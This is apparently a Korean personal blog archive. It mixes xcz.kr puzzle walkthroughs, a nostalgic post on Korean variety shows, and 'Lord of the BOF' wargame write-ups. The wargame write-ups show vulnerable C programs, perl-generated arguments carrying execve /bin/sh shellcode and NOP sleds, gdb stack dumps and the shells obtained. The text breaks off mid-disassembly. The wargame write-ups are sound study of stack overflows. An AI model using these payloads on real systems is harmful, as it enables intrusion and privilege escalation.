반응형

7번문제입니다.




Do you know this file?
이 파일을 아니? 라고 하는거 보면 이번 목표는 이 파일을 여는거겠죠.





.eps 확장자네요. 
구글링합니다.



오. 첫번째 링크로 들어가봅시다.



"Eps 파일을 열려면, 어도비 일러스트레이터같은 일러스트레이션 소프트웨어가 있어야 합니다."
...넹?
계속 읽어봅시다.
"근데, eps파일을 꼭 열 필요는 없다는걸 알아두세요. 워드같은 텍스트 편집 프로그램으로 옮겨넣을 수 있거등요."
아하. 해봅시다.



워드를 열고 -> 삽입 -> 사진 -> what.eps 파일

이렇게 합니다.





코드입니다.
QR은 아닌것 같아요. 세 사각형이 없잖아요?
그럼 구글링을 해보죠.
이 뒤부터 스샷은 귀찮아서 못 찍..........

근데 저 위의 사진을 오른쪽클릭-> 그림으로 저장을 합니다.
그 후, 구글 이미지에서 구글링을 한 후 찍어서 키값을 알아냅니다.


반응형

'STUDY > xcz.kr' 카테고리의 다른 글

xcz.kr Prob 11  (3) 2013.11.28
xcz.kr Prob 10  (2) 2013.11.28
xcz.kr Prob 8  (0) 2013.11.28
xcz.kr Prob 7  (0) 2013.11.28
xcz.kr Prob 3  (2) 2013.11.28
xcz.kr Prob 2  (0) 2013.11.28
반응형
3번의 크립토(암호학)문제입니다.



뭔소리죠
첫 문장인 "Serz EKW"를 구글에 쳐봅시다.



'SERZ EKW 가 뭐인가요?'



이 사이트를 계속 훑다보니 이런 질문이 나왔습니다.
답변자가 누구신지, 답변을 참 짖궂게 해주셨네요.
단서는? 제목입니다. 제목.



자 그럼 이번엔 저 제목의 "polyalphabetic cipher"을 구글에 쳐봅니다.
(노동의 흔적인 보라색 링크들..) 거의 다 비그네르(Vignere) 암호문이라고 되어있네요.



이번에는 비그네르를 검색하는 겁니다.
첫번째 링크로 들어가줍시다.



아까 그 암호문을 복+붙하고 ①(나는 암호의 키를 모릅니다. 게싱해주세여) 과 ②(확인)을 눌러주면 됩니다.
오래걸립니다. 인터넷이 느린게 아니에요.



조금 기다리다 보면 거의 해독된 메세지들이 나옵니다. 
키값을 게싱하다 보면 완전한 키값이 나오는데 그게 인증키입니다.


반응형

'STUDY > xcz.kr' 카테고리의 다른 글

xcz.kr Prob 11  (3) 2013.11.28
xcz.kr Prob 10  (2) 2013.11.28
xcz.kr Prob 8  (0) 2013.11.28
xcz.kr Prob 7  (0) 2013.11.28
xcz.kr Prob 3  (2) 2013.11.28
xcz.kr Prob 2  (0) 2013.11.28
  1. BlogIcon leew 2014.04.18 01:09

    흐아 비제네르 이거 못풀게써요..
    Key해석을 어떻게해야할지...
    조언 구해 봅니다..

    • BlogIcon EverTokki 2014.04.22 04:55 신고

      안녕하세요 :) 키로 의심되는 문단은 찾으셨나요? 키 목록 훑다보면 눈에 띄는 단어들이 있으실꺼에요. P.S) 체크해보니 소문자인 키도 대문자로 입력해야 맞습니다

반응형
xcz.kr 2번입니다.



Listen carefully! 

우선 귀기울여 들어보라고 했으니 들어봅시다.





마우스 우클릭->동영상 저장



쨘! 모스.wav가 생성되었습니다. 
morse가 뭘까요?

<위키백과> 예술가 Samuel F. B. Morse가 1836년에 개발한 코드로써, 전신에 사용되었다. 전기를 조정해 전신을 받는 전자석쪽에 특정 문자열을 보낼 수 있었어야 했는데, 그때 개발된 코드이다. (http://en.wikipedia.org/wiki/Morse_code#Development_and_history)한국어쪽에는 정보가 없네요..ㅋ...슬프다
네. 그렇다면 모스부호를 읽어봐야겠죠?



골드웨이브를 엽니다
오른쪽 밑에 Spectogram이라고 써놓은곳 보이시나요(검은 부분) 거기서 오른쪽 클릭->spectogram을 누르면 모스부호가 훨씬 잘보입니다ㅋㅋ 물론 여기서는 저 큰창을 보시는게 훨씬 효율적입니다

글자들을 조합하면 키가 나옵니다.


반응형

'STUDY > xcz.kr' 카테고리의 다른 글

xcz.kr Prob 11  (3) 2013.11.28
xcz.kr Prob 10  (2) 2013.11.28
xcz.kr Prob 8  (0) 2013.11.28
xcz.kr Prob 7  (0) 2013.11.28
xcz.kr Prob 3  (2) 2013.11.28
xcz.kr Prob 2  (0) 2013.11.28
반응형
해피선데이♥..


"1995년 2월 26일에 신설된 프로그램으로써, 대한민국의 지상파 방송국 KBS 2TV에서 매주 일요일 오후 4시 55분부터 오후 7시 55분까지 방송되는 버라이어티쇼 프로그램이다." <위키백과>



저는 여걸 5와 6를 열심히 봤던 기억이 나기 때문에.. (거기 게임들.. 쥐를잡자 쥐를잡자 찍찍찍과 디비디비딥이 기억나네요.. 한동안 정말 좋아했었는데..) 아무래도 꽤나 초반부터 보았나봅니다ㅋㅋ 아직도 게임이 기억나는거 보면.. 열혈팬이었죠ㅎㅎ 거의 매번 보았습니다!! 쥐를 잡자 쥐를 잡자 찍찍찍~♬

날아라 슛돌이도 제 또래들이 나오고 게다가 그당시에 축구도 좋아했던지라 한번 꼭 들어가보고 싶다! 했었죠ㅋㅋ

하이파이브도 흥미롭게 본 기억이 나고.. 농사?하는 거였던걸로 기억나는데 이게 맞는지.. 근데 오늘 쓰고 싶은 주제는 1박 2일에 대한거에요. "《1박 2일》은 2007년 8월 5일부터 대한민국 KBS 2TV에서 방송되는 버라이어티 쇼로, 리얼 야생 로드 버라이어티를 모토로 대한민국 각지를 돌아 다니면서 1박 2일 동안 다양한 체험을 하는 프로그램이다."<위키백과> 요즘 1박 2일은 시즌 3가 나온다는 얘기를 들었습니다.ㅠㅠ 그래도 1박2일이 종영은 안해서 좋은데.. 그야말로 처음 1박2일이 시작할때부터 보았던 저로써는 점점 존재감이 없어지는게 슬프네요.. 모로코에서, KBS World로 하는 프로그램은 1박2일이 가장 재미있어서 늘 아침 8시에 일어나 보았던 기억이 납니다ㅠ 상근이랑, MC몽, 이수근, 은지원, 강호동, 김C, 그리고 이승기.. 그때 동영상을 그때 보니 멤버들의 변한 모습이 신기하기도 하고 저도 참 그동안 많은 시간이 흘렀구나 느끼기도 하네요. 수많은 복불복과, 혹한기 캠프, 낙오, 벌칙, 퀴즈... 그동안 본 프로그램 중에서 가장 기억에 남습니다ㅋㅋ 언젠가 시청자투어도 꼭 참여하고 싶었는데, 그립네요ㅠㅠㅠㅠㅠ 나PD도 떠나고.. 하지만 새로 방영되는 시즌3도 잘 되길 바랍니다 :) 제 경우처럼 추억을 만들어주는 프로그램이 되었으면 좋겠어요! 그리고 남자의 자격은 아직도 하나요?ㅋㅋ 그거 합창이 정말 매력있고 가슴에 남는데.. 다시 보고싶네요

(아 감성돋아! ;ㅁ;)

그리고 잊어버리기엔 너무 아까운 예능들 몇개 더 적어볼께요ㅋㅋ


쟁반노래방: 쟁반노래방으로 노래 엄청 배웠습니다ㅋㅋㅋㅋㅋ 옛날노래같은거.. 정말 쟁반이 아파보였죠ㅠㅠ 꾸왕 소리나던데.. 숟가락뽑기가 인상적이었어요! 쨜랑쨜랑~ 그리고 찬스도 기억나네요ㅋㅋ

천하무적야구단: ㅋㅋㅋㅋㅋ이건 제가 '야동'이라는 단어를 배운 시초였습니다. 그땐 '야동'이 야구동영상이라는 말을 믿어버리고 다른뜻은 없는줄 할고 엄마한테 "야동이 뭐~게!"라고 했다가 엄마가 "야한 동영상?"이래서 "아냐! 야구동영상이야~" 라고 했던 기억이 납니다ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 그당시엔 야한게 뭔뜻인지도 몰랐는데 말이죠..

상상플러스: 이게 우리말에 대한 거였나? 그런 프로그램이었죠. 정말 재미있게 봤는지라 이런 프로그램 더 있었으면 좋겠어요. "공부하세요!"하며 머리를 치는게 매력포인트였죠ㅋㅋ 그리고 탁재훈의 "나 나나나 나나나나나 나 쏴~!" 이런 프로그램 덕에 문법도 많이 배울 수 있었던것 같아요.

패밀리가 떴다: 이 프로그램은 많이 보지는 않았지만 한동안 열심히 보았었는데 가족같은 분위기랑 가끔은 티격태격하는것 떄문에 본 것 같아요ㅋㅋ 덤엔더머와.. 연예인들의 소소한? 모습도 볼 수 있었던것 같아서 좋았어요!!

가족오락관: 뭔가 모두 기억나지는 않지만 엄청 많은 종류들의 게임을 했던게 기억나네요ㅋㅋ 네이버에 찾아보니 1984년부터 진행된 방송이었네요! 저는 후반에 가서 본듯 하지만 즐겁게 봤던 기억이 나요. 멤버도 많고, 모르는 사람도 많았지만 소소한 게임들을 많이 했던 기억이 나네요~


지금은 런닝맨을 보고 있다죠.. 다른 예능들과는 또 다른 매력이 있는 것 같아요ㅋㅋ

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

2014년!  (0) 2014.01.04
xcz.kr 풀이를 다 옮겨왔다!  (0) 2013.11.28
추억의 예능프로그램들..  (0) 2013.11.27
Phonebloks- A phone worth keeping (1)  (0) 2013.11.02
Phonebloks- A phone worth keeping  (0) 2013.09.16
크래커와 해커의 차이  (0) 2013.09.15
반응형

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){ //argv[0], 즉 (프로그램명)입력값이 77보다 작으면 에러가 납니다.

                printf("argv[0] error\n");

                exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orgi"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xc0\xfb\xff\xbf"'//우선은 프로그램명 길이를 77로 맟추고 공격시도

j

 X?Rh//shh/bin??S?訴€?????????????????????적

Segmentation fault (core dumped)

[darkelf@localhost darkelf]$ gdb -q orgi core

Core was generated by `.////////////////////////////////////////////////////////////////////////orgi j'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbffffff7 in ?? ()

(gdb) x/50wx $esp

0xbffffa10: 0x00000000 0xbffffa54    0xbffffa60    0x40013868

0xbffffa20: 0x00000002 0x08048450 0x00000000 0x08048471

0xbffffa30: 0x08048500 0x00000002 0xbffffa54    0x08048390

0xbffffa40: 0x0804866c 0x4000ae60 0xbffffa4c    0x40013e90

0xbffffa50: 0x00000002 0xbffffb52    0xbffffba0    0x00000000

0xbffffa60: 0xbffffbd1    0xbffffbe3    0xbffffbfa     0xbffffc19

0xbffffa70: 0xbffffc3b    0xbffffc48    0xbffffe0b    0xbffffe2a

0xbffffa80: 0xbffffe47    0xbffffe5c    0xbffffe7b    0xbffffe86

0xbffffa90: 0xbffffe9e    0xbffffeae    0xbffffeb6    0xbffffec0

0xbffffaa0: 0xbffffed0    0xbffffede    0xbffffeec    0xbffffefd

0xbffffab0: 0xbfffff08     0xbfffff1b     0xbfffff5e     0x00000000

0xbffffac0: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffad0: 0x00000005 0x00000006

(gdb)  

0xbffffad8: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffae8: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffaf8: 0x0000000b 0x000001fa 0x0000000c 0x000001fa

0xbffffb08: 0x0000000d 0x000001fa 0x0000000e 0x000001fa

0xbffffb18: 0x00000010 0x0febfbff    0x0000000f 0xbffffb4d

0xbffffb28: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffb38: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffb48: 0x00000000 0x38366900 0x2f2e0036 0x2f2f2f2f

0xbffffb58: 0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f

0xbffffb68: 0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f

0xbffffb78: 0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f

0xbffffb88: 0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f    0x2f2f2f2f

0xbffffb98: 0x6f2f2f2f    0x00696772

(gdb) 

0xbffffba0:0x99580b6a 0x2f2f6852      0x2f686873  0x896e6962

0xbffffbb0:0x895352e3 0x9080cde1 0x90909090 0x90909090

0xbffffbc0: 0x90909090 0x90909090 0x90909090 0xbffffbc0

0xbffffbd0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbe0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc60: 0x00000000 0x00000000

(gdb) quit

[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orgi"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xa0\xfb\xff\xbf"'` //제대로 된 리턴어드레스를 넣고 공격.

j

 X?Rh//shh/bin??S?訴€???????????????????????

bash$ exit

exit

[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orge"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xa0\xfb\xff\xbf"'`

j

 X?Rh//shh/bin??S?訴€???????????????????????

bash$ my-pass

euid = 507

하하♥

시험공부하겠다며 소셜미디어를 끊고..

엘오비를 하고있네요!!!!!!!!! 이게뭐야!!!!!!!!

NOTES:

argv[0]=절대경로

./는 //가 몇개있어도 상관없다

.이랑 orgi=5

77-5=72

페이로드는 전단계것을 씀

그런데 쉘코드가 저장되는 곳은 어디일까? 버퍼가 아닌데


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

troll->vampire  (0) 2013.12.22
orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
반응형

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf 

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

[wolfman@localhost wolfman]$ vi darkelv.c  /*우선 복사본을 만들어놓습니다*/

[wolfman@localhost wolfman]$ gcc darkelv.c -o darkelv

[wolfman@localhost wolfman]$ ./darkelv `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x13, "\xbf"'`

j

 X?Rh//shh/bin??S?訴€????????????????????????

Segmentation fault (core dumped)

[wolfman@localhost wolfman]$ gdb -q darkelv core

Core was generated by `./darkelv j

                                  X?Rh//shh/bin??S?訴€?????????????????????????.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbf909090 in ?? ()

(gdb) x/50wx $esp /*뜯어서 쉘코드가 어디들어가는지 봤습니다.*/

0xbffffae0: 0x00000000 0xbffffb24    0xbffffb30    0x40013868

0xbffffaf0: 0x00000002 0x08048450 0x00000000 0x08048471

0xbffffb00: 0x08048500 0x00000002 0xbffffb24    0x08048390

0xbffffb10: 0x0804864c 0x4000ae60 0xbffffb1c    0x40013e90

0xbffffb20: 0x00000002 0xbffffc1e    0xbffffc28    0x00000000

0xbffffb30: 0xbffffc59    0xbffffc6b    0xbffffc82    0xbffffca1

0xbffffb40: 0xbffffcc3    0xbffffcd0    0xbffffe93    0xbffffeb2

0xbffffb50: 0xbffffecf     0xbffffee4    0xbfffff03     0xbfffff0e

0xbffffb60: 0xbfffff26            0xbfffff36     0xbfffff3e     0xbfffff48

0xbffffb70: 0xbfffff58     0xbfffff66     0xbfffff74     0xbfffff85

0xbffffb80: 0xbfffff90     0xbfffffa3     0xbfffffe6     0x00000000

0xbffffb90: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffba0: 0x00000005 0x00000006

(gdb) 

0xbffffba8: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffbb8: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffbc8: 0x0000000b 0x000001f9 0x0000000c 0x000001f9

0xbffffbd8: 0x0000000d 0x000001f9 0x0000000e 0x000001f9

0xbffffbe8: 0x00000010 0x0febfbff     0x0000000f  0xbffffc19

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc18: 0x38366900 0x2f2e0036      0x6b726164 0x00766c65

0xbffffc28:0x99580b6a 0x2f2f6852       0x2f686873 0x896e6962 //NOP미끄럼틀과 함께..

0xbffffc38:0x895352e3 0x9080cde1 0x90909090 0x90909090

0xbffffc48: 0x90909090 0x90909090 0x90909090 0xbf909090

0xbffffc58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc68: 0x00000000 0x00000000

(gdb) 

0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcd0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffce0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcf0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd00: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd10: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd30: 0x00000000 0x00000000

(gdb) quit

[wolfman@localhost wolfman]$ ./darkelv `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x28\xfc\xff\xbf"'` /*저 주소값을 넣고 다시 공격합니다*/

j

 X?Rh//shh/bin??S?訴€?????????????????????(?

bash$ my-pass

euid = 505

love eyuna

bash$ quit

sh: quit: command not found

bash$ exit

exit

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x28\xfc\xff\xbf"'`

j

 X?Rh//shh/bin??S?訴€?????????????????????(?

bash$ my-pass

euid = 506

//쉘이 따였습니다.

후후 하나를푸니 포풍돌파네여

근데.. 푸는방법쓰기 귀찮아서 (다시볼겸 풀이추가했습니다).. 그냥 쉘코드 주소찾고 넣은거에요ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
반응형

/*1. Bash2 실행*/

[orc@localhost orc]$ bash2

/*2. 소스를 봅시다*/

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);    //버퍼가 40바이트인데 40바이트를 모두 40으로 채워버립니다

}

/*여기서, 버퍼는 사용할 수 없다는 것을 알게됩니다. 그래서 대충 페이로드를 짜서 넣어봅니다.*/

[orc@localhost orc]$ ./wolvman `perl -e 'print "\x90"x47, "\xbf", "\x90"x16,"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` 

???????????????????????????????????????????????퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€

Segmentation fault (core dumped) //코더덤프☆를 주니까 까봅시다.

/*3. gdb -q(환영메세지 없애기) '프로그램 이름' 'core'*/

[orc@localhost orc]$ gdb -q wolvman core

Core was generated by `./wolvman ???????????????????????????????????????????????퓧???????????????j

                    X?R'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbf909090 in ?? ()

(gdb) x/50wx $esp

0xbffffad0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffae0: 0x99580b6a 0x2f2f6852   0x2f686873 0x896e6962

0xbffffaf0: 0x895352e3 0x0080cde1 0xbffffb14    0x08048390

0xbffffb00: 0x0804861c 0x4000ae60 0xbffffb0c    0x40013e90

0xbffffb10: 0x00000002 0xbffffc13     0xbffffc1d    0x00000000

0xbffffb20: 0xbffffc75    0xbffffc83         0xbffffc9a    0xbffffcb9

0xbffffb30: 0xbffffcdb    0xbffffce4     0xbffffea7    0xbffffec6

0xbffffb40: 0xbffffedf     0xbffffef4     0xbfffff0f      0xbfffff1a

0xbffffb50: 0xbfffff32     0xbfffff3e     0xbfffff46     0xbfffff50

0xbffffb60: 0xbfffff60     0xbfffff6e     0xbfffff7c         0xbfffff8d

0xbffffb70: 0xbfffff98     0xbfffffa7     0xbfffffe6     0x00000000

0xbffffb80: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb90: 0x00000005 0x00000006

(gdb) 

0xbffffb98: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffba8: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffbb8: 0x0000000b 0x000001f8 0x0000000c 0x000001f8

0xbffffbc8: 0x0000000d 0x000001f8 0x0000000e 0x000001f8

0xbffffbd8: 0x00000010 0x0febfbff    0x0000000f 0xbffffc0e

0xbffffbe8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x36690000 0x2e003638 0x6c6f772f

0xbffffc18: 0x6e616d76 0x90909000 0x90909090 0x90909090

0xbffffc28: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffc38: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffc48: 0x90909090 0x909090bf 0x90909090 0x90909090

0xbffffc58: 0x90909090 0x580b6a90

(gdb) quit

/*제가 이 문제를 풀었을때는 쉘코드가 0xbffffc37지점에 있었는데 말이죠..;;....... 

암튼 공격해봤습니다.*/

[orc@localhost orc]$ ./wolvman `perl -e 'print "\x90"x44, "\x37\xfc\xff\xbf", "\x90"x16, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10'` 

????????????????????????????????????????????7?퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€?????????????????????


bash$ exit     //잘되네여

exit

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44, "\x37\xfc\xff\xbf", "\x90"x16, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10'` 

????????????????????????????????????????????7?퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€?????????????????????

bash$ my-pass

euid = 505    //땋

이번엔.. 쉽게풀었네요ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
반응형

/* 1. 소스코드를 확인합니다. */

/* 소스코드를 복사해 복사본을 만들어주시기 바랍니다. 여기서는 orx가 그 경우입니다.*/

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}


/* 2. \xff가 인식되도록 bash2를 사용합니다. */

[goblin@localhost goblin]$ bash2


/* 3. 그냥 찾다가 얻은 리턴어드레스로 해봅니다.*/

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'` `perl -e 'print "\x90"x9, "\xac\xfa\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€??????????? //안되네여.


/* 4. gdb로 까서 주소를 얻어보았습니다. call strcpy에 브포를 걸고 `perl -e 'print"\x90"x47, "\xbf"'`이런식으로 48번째 바이트에 \xbf를 넣고 구경하다보니 나왔습니다(기억안남ㅋ;;;) */

[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x48\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????H?

Illegal instruction (core dumped)


[goblin@localhost goblin]$ gdb -q orx 

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x2c,%esp

0x8048506 <main+6>: cmpl   $0x1,0x8(%ebp)

0x804850a <main+10>: jg     0x8048523 <main+35>

0x804850c <main+12>: push   $0x8048640

0x8048511 <main+17>: call   0x8048410 <printf>

0x8048516 <main+22>: add    $0x4,%esp

0x8048519 <main+25>: push   $0x0

0x804851b <main+27>: call   0x8048420 <exit>

0x8048520 <main+32>: add    $0x4,%esp

0x8048523 <main+35>: nop    

0x8048524 <main+36>: movl   $0x0,0xffffffd4(%ebp)

0x804852b <main+43>: nop    

0x804852c <main+44>: lea    0x0(%esi,1),%esi

0x8048530 <main+48>: mov    0xffffffd4(%ebp),%eax

0x8048533 <main+51>: lea    0x0(,%eax,4),%edx

0x804853a <main+58>: mov    0x8049764,%eax

0x804853f <main+63>:         cmpl   $0x0,(%eax,%edx,1)

0x8048543 <main+67>: jne    0x8048547 <main+71>

0x8048545 <main+69>: jmp    0x8048587 <main+135>

0x8048547 <main+71>: mov    0xffffffd4(%ebp),%eax

0x804854a <main+74>: lea    0x0(,%eax,4),%edx

0x8048551 <main+81>: mov    0x8049764,%eax

0x8048556 <main+86>: mov    (%eax,%edx,1),%edx

0x8048559 <main+89>: push   %edx

0x804855a <main+90>: call   0x80483f0 <strlen>

0x804855f <main+95>:  add    $0x4,%esp

0x8048562 <main+98>: mov    %eax,%eax

0x8048564 <main+100>: push   %eax

0x8048565 <main+101>: push   $0x0

0x8048567 <main+103>: mov    0xffffffd4(%ebp),%eax

---Type <return> to continue, or q <return> to quit---

0x804856a <main+106>: lea    0x0(,%eax,4),%edx

0x8048571 <main+113>: mov    0x8049764,%eax

0x8048576 <main+118>: mov    (%eax,%edx,1),%edx

0x8048579 <main+121>: push   %edx

0x804857a <main+122>: call   0x8048430 <memset>

0x804857f <main+127>: add    $0xc,%esp

0x8048582 <main+130>: incl   0xffffffd4(%ebp)

0x8048585 <main+133>: jmp    0x8048530 <main+48>

0x8048587 <main+135>: mov    0xc(%ebp),%eax

0x804858a <main+138>: add    $0x4,%eax

0x804858d <main+141>: mov    (%eax),%edx

0x804858f <main+143>: add    $0x2f,%edx

0x8048592 <main+146>: cmpb   $0xbf,(%edx)

0x8048595 <main+149>: je     0x80485b0 <main+176>

0x8048597 <main+151>: push   $0x804864c

0x804859c <main+156>: call   0x8048410 <printf>

